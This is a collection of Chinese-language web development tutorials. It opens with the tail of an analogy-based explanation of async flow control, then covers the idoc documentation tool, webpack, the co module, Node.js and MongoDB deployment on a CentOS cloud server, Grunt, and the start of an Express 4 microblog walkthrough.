M：小P你听好，先去找readFile读取first.json，然后把内容给parseJSON让他解析一下，最后把解析的内容里的someContent寄给cb，懂了吗？  
P：我办事你放心！  
【小P离开了柜台】  
M：下一位！  
用户B：你好……



小P是一位M信得过的办事员，M相信他能够挨个去找该找的部门，不偷工减料也不毛手毛脚。让小P去办事比寄一封信靠谱的多，M依然能很快回过头来继续应付下一个用户请求。

当然实际场景中虽然写的时候.then一下子连起来写完，并不是真的一下子把内容都交给同一位小P/同一个Promise。更像是一个Promise公司，每个操作进行完后都由一位Promise公司的办事员进行下一步操作。

Promise物如其名，使用Promise重要的就是Promise的可信性，比如Promise的状态不可逆，比如fulfill回调只会被调用一次。Promise并不是回避书写回调，而是用一种更可靠的方式来书写回调。

Co（Generator）

这里只谈co不谈Generator，是因为Generator并不是为解决异步流程控制而生的，而TJ大神用co把Generator和Thunk/Promise结合在一起提供了新的异步流程控制的方法。

var foo=co(function*(filename){
    var file = yield readFile(filename);
    var json = yield parseJSON(file);
    return json.someContent;
});

foo('first.json').then(cbA);
foo('second.json').then(cbB);

咦？这代码看起来跟同步的怎么差不多。

这次我们换个方法描述，一样是来了用户A和用户B，但是先从用户A的视角来看这件事情。

用户A: 你好，我要读文件first.json。  
M：好的你等一下我去拿。  
【M离开了柜台】  
M：我回来了，这是你要的first.json的内容。然后呢？  
用户A：然后把内容按JSON解析一下。  
M：你等等我去解析一下。  
【M离开了柜台】  
M：好了解析完了，然后呢？  
用户A：我要里面的someContent部分。  
M：给你。再见。



是不是看起来跟同步一模一样？实际上从M的角度看这件事情呢？

用户A: 你好，我要读文件first.json。  
M：好的你等一下我去拿。  
【M离开了柜台】  
M：小P来一下！去readFile读first.json，回来叫我。  
P：好的我这就去。  
【M转向了另一个柜台窗口】  
M：你好。  
用户B：你好，我要读文件second.json。  
…………  
…………  
P：M，first.json拿回来了。  
【M转向第一个柜台】  
M：我回来了，这是你要的first.json的内容。然后呢？  
用户A：然后把内容按JSON解析一下。  
M：你等等我去解析一下。  
【M离开了柜台】  
M：小P来一下！去parseJSON把这堆东西解析一下，回来叫我。  
P：好的我这就去。  
【M转向了另一个柜台窗口】  
…………  
…………



真相大白了，M并没有亲自去拿文件解析JSON，而是叫来了任劳任怨的小P干活，自己在用户A面前伪装成被占用了所有的时间的样子，其实偷偷去接待别的用户了。

利用Generator可以用yield中断执行，再在外部通过next唤醒继续执行的特性，co把Generator的next写到Promise的then里面从而实现循环调用。使用了co之后，代码看起来跟同步非常相像，写起来符合人正常的同步思维，甚至可以使用同步的流程控制语句比如for。但是执行起来却能充分利用异步带来的性能优势。

顺便提一句，co看起来已经非常像async/await方式了。Node.js中同样近似于async/await方式的还有asyncawait库，它不依赖generator而是依赖于node-fiber，看名字大概就是Node里的一个纤程的实现吧。由于不需要generator，对于诸如Coffescript和Typescript类的语言支持非常好。

以上就是对Javascript中最近常讨论的几种异步流程控制的简单类比说明。这种理解方式非常粗浅，而且有很多问题并不像上面写的那样那么简单。要想使用好异步，还是要多读一些更为深入的文章。

参考资料


	Promises and Generators: Control Flow Utopia


	Promises/A+


	Managing Node.js Callback Hell with Promises, Generators and Other Approaches


	Replacing callbacks with ES6 Generators


	getiblog: Promises


	异步流程控制：7 行代码学会 co 模块
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简介

通过markdown生成静态页面的工具。经常用 markdown 写一些接口文档，为了方便特写此工具玩耍。生成的页面预览效果 

这些文档是都是使用idoc生成的页面哦，可以提交用idoc生成的文档哦提交收录。


	JSLite.io - 这个是现代浏览器类似jQuery的库，体积小。


	idoc - 通过markdown生成静态页面的工具


	store.js - js本地存储操作


	cookie.js - js本地cookie操作


	iNotify - 浏览器各种方法通知





	Backbone.js


	Lua5.3


	git


	gulp-book


	shell常用命令


	
测试工具


	chai


	mocha


	should






	
快捷键


	Sketch


	bash


	sublime








源码仓库

仓库地址【https://github.com/jaywcjlove/idoc】 欢迎提需求和bug，提交地址  
issues 。

全局安装

$ npm install idoc -g

使用方法


	任意目录下新建test文件夹，并进入test文件夹 如：mkdir test && cd test。


	在你在的目录下面建立 md 文件夹专门放你的所有 md 文件。


	导航菜单是根据 md 里面的文件目录结构生成 导航菜单。


	在 test 文件夹根目录初始化运行 idoc init 命令，自动生成 package.json 文件。


	生成静态页面，运行 idoc build 命令。


	运行 idoc server 预览生成的静态页面。默认预览地址为 http://localhost:1987/。


	这个时候你可以将生成的文件上传至 github 的 gh-pages 分支中，外网预览。




命令文档

命令使用帮助。

Usage: idoc [options]

Options:

  -h, --help           output usage information
  -V, --version        output the version number
  -C, --Create <file>  Select Directory Makefile.
  init                 init a documentation.
  build                Markdown produces static pages document.
  watch                Listener "md" file is automatically generated pages.
  server               Open local static html server.
  clean                Clear the generate static files.

Examples:

  $ idoc init
  $ idoc init [path]
  $ idoc init [path] -C ~/idoc/
  $ idoc watch
  $ idoc server
  $ idoc clean

init

初始化文档文件

# 默认生成模板和配置文件，将当前文件夹根目录的所有md文件参数生成到配置文件package.json中
$ idoc init
# 将指定的 md 文件拷贝到当前目录下，生成模板和配置文件
$ idoc init ~/md/JSLite.md
# 将指定的两个 md 文件拷贝到当前目录下
$ idoc init ~/git/_idc/package.md  ~/git/_idc/dir/directory.md
# 将指定的 _idc 目录下的所有 md 文件拷贝到当前目录下
$ idoc init ~/git/_idc/

# 指定生成模板和配置文件
# 将“JSLite.md hotkeys.md”两个 md 文件拷贝到指定目录 `~/idoc/` 下面
# 生成模板需要的文件
# 第一个 md 文件是首页
$ idoc init JSLite.md hotkeys.md -C ~/idoc/

build

生成静态 HTML 页面到指定目录中。

$ idoc build

watch

监控 md 文件发生变化自动 build。

$ idoc watch

server

打开本地静态 html 服务器，预览你生成的页面。

$ idoc server

clean

清除生成的静态文件。

$ idoc clean

提交收录

在 issues 中提交你的连接，我讲收录在此。格式如下：

# 我的 xxx 使用 idoc 生成文档
[文档名称](连接地址) 

TODO


	[x] idoc 基本命令定义


	[x] 添加 build 命令，markdown生成静态页面


	[x] 添加 watch 命令，监控markdown文件自动生成HMTL页面


	[x] 默认模板制作


	[x] 树形菜单生成


	[x] 添加 server 命令，预览生成的静态页面


	[x] 添加多页面导航菜单


	[x] 添加 clean 命令


	[x] 静态资源相对路径引用


	[ ] 判断是否存在markdown树形导航菜单


	[ ] 第二个模板制作


	[ ] 模板切换命令


	[ ] api 检索功能


	[x] 兼容windows路径(cmd工具冒得问题嘞)
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 前端webpack workflow（二）——Webpack基本使用

作者：Jogis

来源： 前端webpack workflow（二）——Webpack基本使用



                    
作者：Jogis
原文链接：https://github.com/yesvods/Blog/issues/3
转载请注明原文链接以及作者信息



前一篇文章介绍了webpack以及安装方法，这次将会介绍webpack在单页面应用程序（Single Page Application）与多页面站点不同场合的用法。

输入与输出

跟其他模块加载器类似，webpack也是需要配置一个入口文件，比如是entry.js
有几种配置方式，下面来介绍一下直接把入口文件写在配置文件 webpack.config.js：

module.exports = {
  entry: {
    "entry":"./entry.js"
  },
  output: {
    path: "build",
    filename: "bundle.js"
  }
}

通过命令行

> webpack

很便利地，webpack检测配置文件，读取模块入口与输出路径和文件名,将文件依赖整合成一个文件，输出到build/bundle.js

通过在HTML简单引入

<script src="./build/bundle.js"></script>

就可以在浏览器运行。

加载器

简单的SPA程序加载，包括：JS编译与加载、CSS编译与加载、图片加载与压缩、JS与CSS压缩。

Webpack提供了一套加载器机制，比如：css-loader、style-loader、url-loader等，用于将不同资源加载到js文件中，例如url-loader用于在js中加载png/jpg格式的图片文件，css/style loader 用于加载css文件，less-loader用于将less文件编译成css。

下面介绍一些常用的加载器（详细介绍在这里）：

style+css+less加载Bootstrap less版本：

require('style!css!less!./bower_components/bootstrap/bootstrap.less');

style+css 加载一般样式文件：

require('style!css!./styles/main.css');

url 加载图片资源文件：

require('url!./images/logo.png');

json loader加载json格式文件:

require('json!./data.json');

js后缀的文件不需要使用加载器

require('./scripts/main.js');

coffee script加载

require('coffee!./scripts/main.coffee');

喜欢尝鲜的童鞋可以通过Babel loader体验ES6/7特性：

require('babel!./scripts/es6.js');

需要注意的是，避免用babel作为加载器加载所有node_module模块，会出现意外结果，而且大量加载情况下，加载时间很长。babel还可以用作reactjs jsx文件加载使用，详细请看。

配置加载器

刚刚介绍了行内加载资源的方式，如果有很多css或者图片资源需要加载，重复写加载器显得很笨拙，webpack提供另一种方式加载资源。
在配置文件添加配置：

module.exports = {
  module: {
    loaders: [
      {test: /\.css$/, loader: "style!css"},
      {test: /\.(png|jpg)$/, loader: "url-loader?limit=8192"}
    ]
  }
}


其中test是正则表达式，对符合的文件名使用相应的加载器
/.css$/会匹配 xx.css文件，但是并不适用于xx.sass或者xx.css.zip文件
/.css/除了匹配xx.css也可以匹配xx.css.zip

加载器后可以加入?xx=yy传递参数,表示添加将xx设置为yy（跟http地址Query很像）

需要注意的是，使用加载器前需要使用

> npm i --save xxx-loader

安装相应加载器，并通过--save把依赖配置到package.json中，使用加载器并不需要使用require引入。

搜索路径变量

以上介绍的加载器，可以很方便使用webpack整合日常资源，如果认为webpack仅仅只能做这些，那就让您失望了。

可以看到，以上加载资源时候，都使用相对路径来描述路径，对于那些./app/src/scripts/main.js通过修改webpack配置文件，添加默认搜索路径后，显得更加优雅。

// webpack.config.js
var path = require("path")
module.exports = {
  resolve: {
    alias: {
      js: path.join(__dirname, "./app/src/scripts")
    }
  }
}

更改配置文件后加载：

require("js/main.js");

默认搜索路径配置

对于bower_components死忠们，前端开发少不了几个bower插件，使用gulp可以通过gulp-wiredep来动态把bower.json dependencies加载到指定HTML文件。
在webpack也有非常便利的导入方法：
首先，加入配置

module.exports = {
  resolve: {
    alias: {
      js: path.join(__dirname, "src/scripts"),
      src: path.join(__dirname, "src/scripts"),
      styles: path.join(__dirname, "src/styles"),
      img: path.join(__dirname, "src/img")
    },
    root: [
      path.join(__dirname, "bower_components")
    ]
  },
  plugins: [
    new webpack.ResolverPlugin(
        new webpack.ResolverPlugin.DirectoryDescriptionFilePlugin(".bower.json", ["main"])
      )
  ]
}

resolve.root 表示添加默认搜索路径，使用如下语法：

require("jquery");

webpack会在bower_components/jquery目录下进行查找CommandJS模块node_module/index.js、index.js
但是，因为Bower不属于CommandJS规范范畴,使用的是bower.json main属性指定项目入口文件
说到这里，大家就知道plugins里面那串东东是干嘛的啦

之后，我们就可以很方便在任何js文件里面引用jquery：

var jQuery = $ = require("jquery");

需要注意的是，require的并非jquery.js，而是bower_components目录下的文件夹名

多页面开发

webpack 不仅仅适用于SPA开发，对于多页面站点，webpack支持得很好，通过更改配置文件为多入口：

module.exports = {
  entry: {
    "entry":"./src/scripts/entry.js",
    "swiperEffect":"./src/scripts/swiperEffect.js"
  },
  output: {
    path: "build"
    filename: "[name].bundle.js"
  }
}

output设置里面，[name]代表entry的每一个键值，因此运行webpack时候，会输出对应的两个文件：

build/entry.bundle.js
build/swiperEffect.bundle.js

然后就可以在index.html和about.html两个页面分别引用啦

文件分离

前端工程一项就是减少http请求，这表示需要把多个js合并成一个，但是，单个js文件过大会影响浏览器加载文件速度，由于现在浏览器并发http请求多达6个，可以利用这个特性，将可复用第三方资源库分离加载。

使用CommandJS规范的

//entry.js
require.ensure(["jquery", "imgScroll"], function(require){
  var $ = require("jquery");
  require("imgScroll");
  $("#container").scroll({
    XXX
  })
})

通过require.ensure声明的文件，称作按需加载依赖，这些依赖会独立出来一个文件，待入口模块加载完，需要请求时候才会相继加载

再次编译webpack：

build/entry.bundle.js
build/swiperEffect.bundle.js
build/2.2.bundle.js

其中2.2.bundle.js就是jquery+imgScroll异步加载内容
一图胜千言：



可以看到2.2.bundle.js在entry.bundle.js加载完后进行异步加载。

webpack 实用命令

除了简单运行webpack，还可以添加几个参数，方便部署文件处理。

输出js文件，经过uglify进行压缩：

> webpack -p

自动监听变化，动态运行webpack编译：

> webpack --watch

通常Dev阶段，使用--watch配合live-server就可以自动化开发繁琐的窗口切换与回车。

以上仅仅介绍了webpack前端开发最基本的用法，更多参数以及功能使用，参考官网


 异步流程控制：7 行代码学会 co 模块

作者：meikidd

来源： 异步流程控制：7 行代码学会 co 模块



                    
广告招人：阿里巴巴招前端，在这里你可以享受大公司的福利和技术体系，也有小团队的挑战和成长空间。
联系： qingguang.meiqg at alibaba-inc.com



首先请原谅我的标题党(●—●)，tj 大神的 co 模块源码200多行，显然不是我等屌丝能随便几行代码就能重写的。只是当今大家都喜欢《7天学会xx语言》之类的速效仙丹，于是我也弄个类似的名字《7行代码学会co模块》来博眼球。

为了避免被拖出去弹小JJ，还是先放出所谓的 7 行代码给大家压压惊：

function co(gen) {
    var it = gen();
    var ret = it.next();
    ret.value.then(function(res) {
        it.next(res);
    });
} 

万恶的回调

对前端工程师来说，异步回调是再熟悉不过了，浏览器中的各种交互逻辑都是通过事件回调实现的，前端逻辑越来越复杂，导致回调函数越来越多，同时 nodejs 的流行也让 javascript 在后端的复杂场景中得到应用，在 nodejs 代码中更是经常看到层层嵌套。

以下是一个典型的异步场景：先通过异步请求获取页面数据，然后根据页面数据请求用户信息，最后根据用户信息请求用户的产品列表。过多的回调函数嵌套，使得程序难以维护，发展成万恶的回调。

$.get('/api/data', function(data) {
    console.log(data);
    $.get('/api/user', function(user) {
        console.log(user);
        $.get('/api/products', function(products) {
            console.log(products)
        });
    });
});

异步流程控制


	最原始异步流程的写法，就是类似上面例子里的回调函数嵌套法，用过的人都知道，那叫一个酸爽。


	后来出现了 Promise ，它极大提高了代码的可维护性，消除了万恶的回调嵌套问题，并且现在已经成为 ES6 标准的一部分。




$.get('/api/data')
.then(function(data) {
    console.log(data);
    return $.get('/api/user');
})
.then(function(user) {
    console.log(user);
    return $.get('/api/products');
})
.then(function(products) {
    console.log(products);
});

	之后在 nodejs 圈出现了 co 模块，它基于 ES6 的 generator 和 yield ，让我们能用同步的形式编写异步代码。




co(function *() {
    var data = yield $.get('/api/data');
    console.log(data);
    var user = yield $.get('/api/user');
    console.log(user);
    var products = yield $.get('/api/products');
    console.log(products);
});

	以上的 Promise 和 generator 最初创造它的本意都不是为了解决异步流程控制。其中 Promise 是一种编程思想，用于“当xx数据准备完毕，then执行xx动作”这样的场景，不只是异步，同步代码也可以用 Promise。而 generator 在 ES6 中是迭代器生成器，被 TJ 创造性的拿来做异步流程控制了。真正的异步解决方案请大家期待 ES7 的 async 吧！本文以下主要介绍 co 模块。




co 模块

上文已经简单介绍了co 模块是能让我们以同步的形式编写异步代码的 nodejs 模块，主要得益于 ES6 的 generator。nodejs >= 0.11 版本可以加 --harmony 参数来体验 ES6 的 generator 特性，iojs 则已经默认开启了 generator 的支持。

要了解 co ，就不得不先简单了解下 ES6 的 generator 和 iterator。

Iterator

Iterator 迭代器是一个对象，知道如何从一个集合一次取出一项，而跟踪它的当前序列所在的位置，它提供了一个next()方法返回序列中的下一个项目。

var lang = { name: 'JavaScript', birthYear: 1995 };
var it = Iterator(lang);
var pair = it.next(); 
console.log(pair); // ["name", "JavaScript"]
pair = it.next(); 
console.log(pair); // ["birthYear", 1995]
pair = it.next(); // A StopIteration exception is thrown

乍一看好像没什么奇特的，不就是一步步的取对象中的 key 和 value 吗，for ... in也能做到，但是把它跟 generator 结合起来就大有用途了。

Generator

Generator 生成器允许你通过写一个可以保存自己状态的的简单函数来定义一个迭代算法。
Generator 是一种可以停止并在之后重新进入的函数。生成器的环境（绑定的变量）会在每次执行后被保存，下次进入时可继续使用。generator 字面上是“生成器”的意思，在 ES6 里是迭代器生成器，用于生成一个迭代器对象。

function *gen() {
    yield 'hello';
    yield 'world';
    return true;
}

以上代码定义了一个简单的 generator，看起来就像一个普通的函数，区别是function关键字后面有个*号，函数体内可以使用yield语句进行流程控制。

var iter = gen();
var a = iter.next();
console.log(a); // {value:'hello', done:false}
var b = iter.next();
console.log(b); // {value:'world', done:false}
var c = iter.next();
console.log(c); // {value:true, done:true}

当执行gen()的时候，并不执行 generator 函数体，而是返回一个迭代器。迭代器具有next()方法，每次调用 next() 方法，函数就执行到yield语句的地方。next() 方法返回一个对象，其中value属性表示 yield 关键词后面表达式的值，done 属性表示是否遍历结束。generator 生成器通过next和yield的配合实现流程控制，上面的代码执行了三次 next() ，generator 函数体才执行完毕。

co 模块思路

从上面的例子可以看出，generator 函数体可以停在 yield 语句处，直到下一次执行 next()。co 模块的思路就是利用 generator 的这个特性，将异步操作跟在 yield 后面，当异步操作完成并返回结果后，再触发下一次 next() 。当然，跟在 yield 后面的异步操作需要遵循一定的规范 thunks 和 promises。


yieldables

The yieldable objects currently supported are:


	promises


	thunks (functions)


	array (parallel execution)


	objects (parallel execution)


	generators (delegation)


	generator functions (delegation)






7行代码

再看看文章开头的7行代码：

function co(gen) {
    var it = gen();
    var ret = it.next();
    ret.value.then(function(res) {
        it.next(res);
    });
}

首先生成一个迭代器，然后执行一遍 next()，得到的 value 是一个 Promise 对象，Promise.then() 里面再执行 next()。当然这只是一个原理性的演示，很多错误处理和循环调用 next() 的逻辑都没有写出来。

下面做个简单对比：
传统方式，sayhello是一个异步函数，执行helloworld会先输出"world"再输出"hello"。

function sayhello() {
    return Promise.resolve('hello').then(function(hello) {
        console.log(hello);
    });
}
function helloworld() {
    sayhello();
    console.log('world');
}
helloworld();

输出

> "world"
> "hello"

co 的方式，会先输出"hello"再输出"world"。

function co(gen) {
    var it = gen();
    var ret = it.next();
    ret.value.then(function(res) {
        it.next(res);
    });
}
function sayhello() {
    return Promise.resolve('hello').then(function(hello) {
        console.log(hello);
    });
}
co(function *helloworld() {
    yield sayhello();
    console.log('world');
});

输出

> "hello"
> "world"

消除回调金字塔

假设sayhello/sayworld/saybye是三个异步函数，用真正的 co 模块就可以这么写：

var co = require('co');
co(function *() {
    yield sayhello();
    yield sayworld();
    yield saybye();
});

输出

> "hello"
> "world"
> "bye"

参考

《es7-async》 https://github.com/jaydson/es7-async
《Generator 函数的含义与用法》 http://www.ruanyifeng.com/blog/2015/04/generator.html
《Iterator》 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Iterator


 把Node.js项目部署到阿里云服务器（CentOs）

作者：Monkey

来源： 把Node.js项目部署到阿里云服务器（CentOs）



                    
最近用node.js开发了一个web项目，开发完打算先部署到我自己买的阿里云学生服务器上，让客户先试用下网站（良心乙方）。不知道如何把node.js项目部署到阿里云服务器，在问了飞哥哥之后，在网上找了下教程，部署成功。把教程整合了一下，做下分享。

服务器

服务器选择了阿里云学生服务器：9.92一个月，适合用来个人开发测试。（广告：若要购买，可以填我的推荐码：0JFIBY）


	配置：


	系统：CentOS6.5 64位（Linux系统的一种）




配置环境

配置服务器环境

1.在阿里云管理控制台把云服务器实例启动

2.登入服务器：用Putty 或 Xshell（我使用的是xshell）：
下载安装xsheel后，新建会话。




登入成功，如图：


3.把yum更新到最新版本：

yum -y update

4.我们将使用最新源代码构建Node.js，要进行软件的安装，需要一组用来编译源代码的开发工具：

yum -y groupinstall "Development Tools" 

安装node.js

1.开始安装Node.js，先进入/usr/src文件夹，这个文件夹通常用来存放软件源代码:

cd /usr/src 

2.从Node.js的站点中获取压缩档源代码, 我选择的版本为v0.10.18：

wget http://nodejs.org/dist/v0.10.18/node-v0.10.18.tar.gz 

3.解压缩源文件，并且进入到压缩后的文件夹中:

tar zxf node-v0.10.18.tar.gz 
cd node-v0.10.18 

4.执行配置脚本来进行编译预处理:

./configure 

5.开始编译源代码

make 

6.当编译完成后，我们需要使之在系统范围内可用, 编译后的二进制文件将被放置到系统路径，默认情况下，Node二进制文件应该放在/user/local/bin/node文件夹下:

make install 

7.现在已经安装了Node.js, 可以开始部署应用程序, 首先要使用Node.js的模块管理器npm安装Express middleware 和forever（一个用来确保应用程序启动并且在需要时重启的非常有用的模块）：

npm -g install express forever 

8.建立超级链接, 不然 sudo node 时会报 "command not found"

sudo ln -s /usr/local/bin/node /usr/bin/node 
sudo ln -s /usr/local/lib/node /usr/lib/node 
sudo ln -s /usr/local/bin/npm /usr/bin/npm 
sudo ln -s /usr/local/bin/node-waf /usr/bin/node-waf 
sudo ln -s /usr/local/bin/forever /usr/bin/forever

安装mongodb（在项目中使用的数据库）

1.安装说明：


	系统环境：Centos-6.5


	安装软件：mongodb-linux-x86_64-2.4.9.tgz


	下载地址：http://fastdl.mongodb.org/linux/mongodb-linux-x86_64-2.4.9.tgz


	上传位置：/usr/local/


	软件安装位置：/usr/local/mongodb


	数据存放位置：/var/mongodb/data
  日志存放位置：/var/mongodb/logs




2.进入文件夹/usr/local,下载mongodb源代码：

cd /usr/local
wget http://fastdl.mongodb.org/linux/mongodb-linux-x86_64-2.4.9.tgz

3.解压安装包，重命名文件夹为mongodb

tar zxvf mongodb-linux-x86_64-2.4.9.tgz 
mv mongodb-linux-x86_64-2.4.9 mongodb

4.在var文件夹里建立mongodb文件夹，并分别建立文件夹data用于存放数据，logs用于存放日志

mkdir /var/mongodb
mkdir /var/mongodb/data
mkdir /var/mongodb/logs

5.打开rc.local文件，添加CentOS开机启动项：

vim /etc/rc.d/rc.local

6.将mongodb启动命令追加到本文件中，让mongodb开机自启动：

/usr/local/mongodb/bin/mongod --dbpath=/var/mongodb/data --logpath /var/mongodb/logs/log.log -fork

7.启动mongodb

/usr/local/mongodb/bin/mongod --dbpath=/var/mongodb/data --logpath /var/mongodb/logs/log.log -fork

8.看到如下信息说明已经安装完成并成功启动:

forked process: 18394
all output going to: /var/mongodb/logs/log.log

上传代码

上传代码可以考虑使用ftp（xftp、sftp等）、svn、git。我用的是xftp。
下载安装xftp后，启动xftp，新建会话：


登入成功，如图：


我把代码上传到了/home目录文件夹下。

启动应用

1.进入存放代码的目录，存放在/home/app目录下,server.js为程序入口文件

cd /home/app
sudo forever start server.js

2.检视运行中的应用:

sudo forever list 

3.如果需要关闭应用，命令如下：

sudo forever stop 0 

自此，没有意外的话，项目部署成功。


 Grunt教程-前端自动化

作者：小弟调调

来源： Grunt教程-前端自动化



                    
为何选择Grunt?



  压缩、编译、单元测试、代码检查等 我们需要自动化，不必重复劳动，减小工作量。为何选择Grunt呢？好像是没有更好的选择了。




准备工作


安装node.js



  Grunt基于Node.js，安装之前要先安装Node.js。




shellbrew install node  



更新npm


shellsudo npm install npm -g



安装 grunt-cli



  安装 grunt-cli 并不等于安装了 Grunt 任务运行器

  Grunt CLI 的任务是运行 Gruntfile 指定的 Grunt 版本。 这样就可以在一台电脑上同时安装多个版本的 Grunt。(没有懂，俺直接实战)




shellnpm install -g grunt-cli



Grunt必备文件



  创建文件必须创建文件夹，我建立了一个 test 的文件夹，一个标准的 grunt 项目中必须有两个文件。

  
  package.json：用于保存项目元数据。

  Gruntfile.js : 用于配置或定义任务、加载 Grunt 插件。

  
  在test1文件夹中创建这两个文件吧。那么文件中写什么内容呢。我们首先来关注一下package.json写什么内容




json{
  "name": "test",
  "version": "1.0.0"
}



运行


在项目的根目录下运行下面的命令


shellnpm install



命令执行过程


lognpm WARN package.json test1@1.0.0 No description
npm WARN package.json test1@1.0.0 No repository field.
npm WARN package.json test1@1.0.0 No README data




  提示说没有描述信息没有README之类的

  在根目录添加一个 README.md 文件




添加内容


在 package.json 中添加下面内容之后


{
  "name": "test",
  "version": "1.0.0",
  "description": "测试的例子",
  "repository": {
    "type": "git",
    "url": "https://github.com/JSLite/JSLite.git"
  }
}




  于是乎万事大吉了




安装 Grunt 插件



  在此项目中安装 Grunt 插件




shellsudo npm install grunt --save-dev



package.json的文件内容发现多了 devDependencies 的信息

目录多了一个 node_modules 的文件夹


json{
  "name": "test",
  "version": "1.0.0",
  "description": "测试的例子",
  "repository": {
    "type": "git",
    "url": "https://github.com/JSLite/JSLite.git"
  },
  "devDependencies": {
    "grunt": "^0.4.5"
  }
}



运行 npm install <module> --save-dev，不仅会安装指定的  模块，还会自动添加到 devDependencies 区域中，且包括 版本范围。


grunt-contrib-uglify



  插件用途：压缩js,css文件

  插件名称：grunt-contrib-uglify




安装


shellsudo npm install grunt-contrib-uglify --save-dev



安装成功之后 在package.json的文件内容中的 devDependencies 的信息又增加了


json  "devDependencies": {
    "grunt": "^0.4.5",
    "grunt-contrib-uglify": "^0.8.0"
  }



使用方法



  还记得我们上面说一个Grunt项目要两个必须的文件一个 package.json 和Gruntfile.js，注意大小写，Linux区分大小写的，创建 Gruntfile.js 并写入如下内容




js// 包装函数
module.exports = function(grunt) {

  // 任务配置,所有插件的配置信息
  grunt.initConfig({
    pkg: grunt.file.readJSON('package.json'),

    // uglify插件的配置信息
    uglify: {
        options: {
          banner: '/*! This is uglify test - ' +
            '<%= grunt.template.today("yyyy-mm-dd") %> */',
          beautify: true,//是否压缩
          mangle: false, //不混淆变量名
          compress:true,//打开或关闭使用默认选项源压缩。
        },
        app_task: {
          files: {
            'build/app.min.js': ['lib/index.js', 'lib/test.js']
          }
        }
    }
  });

  // 告诉grunt我们将使用插件
  grunt.loadNpmTasks('grunt-contrib-uglify');

  // 告诉grunt当我们在终端中输入grunt时需要做些什么
  grunt.registerTask('default', ['uglify']);

};



分析



	banner：在build/app.min.js 文件生成内容如日期什么的

	files：将 lib 目录中的 js 压缩合并生成到 build 目录中生成 app.min.js




运行grunt



  输入命令下面命令，好了，我的没有错误正常的。如果有错误，会有错误日志，自己分析哦。




shellgrunt



grunt-contrib-watch



  插件用途：监控文件变化并自动运行grunt的watch插件

  插件名称：grunt-contrib-watch




安装


shellsudo npm install grunt-contrib-watch --save-dev



使用



  修改 Gruntfile.js




initConfig 中添加了


js    // watch插件的配置信息
    watch: {
        another: {
            files: ['lib/*.js'],
            tasks: ['uglify'],
            options: {
                // Start another live reload server on port 1337
                livereload: 1337
            }
        }
    }



增加了一行


jsgrunt.loadNpmTasks('grunt-contrib-watch');



数组中添加了watch


jsgrunt.registerTask('default', ['uglify','watch']);



添加了watch后，完整的 Gruntfile.js


js// 包装函数
module.exports = function(grunt) {

  // 任务配置,所有插件的配置信息
  grunt.initConfig({
    pkg: grunt.file.readJSON('package.json'),

    // uglify插件的配置信息
    uglify: {
        options: {
          banner: '/*! This is uglify test - ' +
            '<%= grunt.template.today("yyyy-mm-dd") %> */'
        },
        app_task: {
          files: {
            'build/app.min.js': ['lib/index.js', 'lib/test.js']
          }
        }
    },


    // watch插件的配置信息
    watch: {
        another: {
            files: ['lib/*.js'],
            tasks: ['uglify'],
            options: {
                // Start another live reload server on port 1337
                livereload: 1337
            }
        }
    }


  });

  // 告诉grunt我们将使用插件
  grunt.loadNpmTasks('grunt-contrib-uglify');
  grunt.loadNpmTasks('grunt-contrib-watch');

  // 告诉grunt当我们在终端中输入grunt时需要做些什么
  grunt.registerTask('default', ['uglify','watch']);

};



grunt-contrib-watch


安装 stylus



shellsudo npm install grunt-contrib-watch --save-dev



修改 Gruntfile.js



initConfig 中添加了


jsstylus:{
    build: {
        options: {
            linenos: false,
            compress: false,
            banner: '\/** \n * <%= pkg.name %> - <%= pkg.description %>\n * version <%= pkg.version %> \n * author <%= pkg.author %> \n * date <%= grunt.template.today() %> \n**/\n'
        },
        files: [{
            'css/historyDetail.css': 'styl/historyDetail.styl'
        }]
    }
},



下面添加


js    grunt.loadNpmTasks('grunt-contrib-stylus');



paths 将自动使用@import来引入一些Stylus文件，比如一些Mixin集合，放在一个Stylus文件中进行维护，写在paths中后，就可以在每个Stylus文件中调用它们。define 可以定义一些全局变量，然后在Stylus中使用，但我不喜欢使用这个配置，而是更喜欢把全局变量放在一个单独的Stylus文件中，然后将这个文件加入paths的数组中。一句话，把所有不会直接产出CSS的Stylus代码分成若干个Stylus文件，然后全部添加到paths中，这样在所有Stylus文件中都可以随时调用了，但要注意这些Stylus文件的调用关系和使用先后顺序。


compress 及 linenos 是两个Boolean值，用来控制是否压缩处理后的CSS代码以及是否在CSS代码中保留注释。


banner 是一个字符串，会被放置在CSS文件的最前面，一般我用来写注释，比如


banner: '\/** \n * <%= pkg.name %> - <%= pkg.description %>\n * version <%= pkg.version %> \n * author <%= pkg.author %> \n * date <%= grunt.template.today() %> \n**/\n'



firebug 将控制是否使用一个Firebug的Stylus插件FireStylus for Firebug，可以在Firefox中调试Stylus。


use 可以引入一些Stylus的其他grunt插件。


常用模块设置


grunt-contrib-clean：删除文件。npm>>
grunt-contrib-compass：使用compass编译sass文件。npm>>
grunt-contrib-concat：合并文件。npm>>
grunt-contrib-copy：复制文件。npm>>
grunt-contrib-cssmin：压缩以及合并CSS文件。npm>>
grunt-contrib-imagemin：图像压缩模块。npm>>
grunt-contrib-jshint：检查JavaScript语法。npm>>
grunt-contrib-uglify：压缩以及合并JavaScript文件。npm>>
grunt-contrib-watch：监视文件变动，做出相应动作。npm>>
grunt-contrib-stylus：stylus编写styl输出css npm>>


 《nodejs开发指南》微博实例express4.x版
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  郑重声明，本文章属于个人原创，如需转载，请加上原文链接：
http://segmentfault.com/blog/yuanzm/1190000002620309

  另外同样可以在博客园上面查看本文章：http://www.cnblogs.com/yuanzm/p/3770986.html

  源代码在本人的Github上面：https://github.com/yuanzm/microblog




之前一直执着于前端开发，最近几天，开始学起了nodejs。作为一名前端开发者，见到这样一门用javascript写的后台自然是很激动的。但是，后台毕竟不同于前端，在学习的过程中，还是会遇到不少问题。


为了开始学习nodejs，一开始选择了《深入浅出nodejs》这本书，看了几章之后，得出一个结论是：真是一本好书，但是还是不会写nodejs！然后选择了另外一本教材《nodejs开发指南》，由于看过了《深入浅出nodejs》，直接跳过了这本书的前几章，写起了该书第五章的微博实例。作为一个新手，在写的过程中，才逐渐发现因为express版本升级的原因，书中的代码很多已经不能用了，这对于新手来讲，真是痛苦的经历！！本着分享和学习的精神，特此奉上《nodejs开发指南》微博实例express4.x版本源码和编写过程中需要注意的问题。


首先我们看看当前express的版本：





这和书本所用的express2.x版本已经有了很大的变化。对于express4版本的新特性，可以看看这个：http://scotch.io/bar-talk/expressjs-4-0-new-features-and-upgrading-from-3-0


话不多说，我们开始我们创建项目之旅。


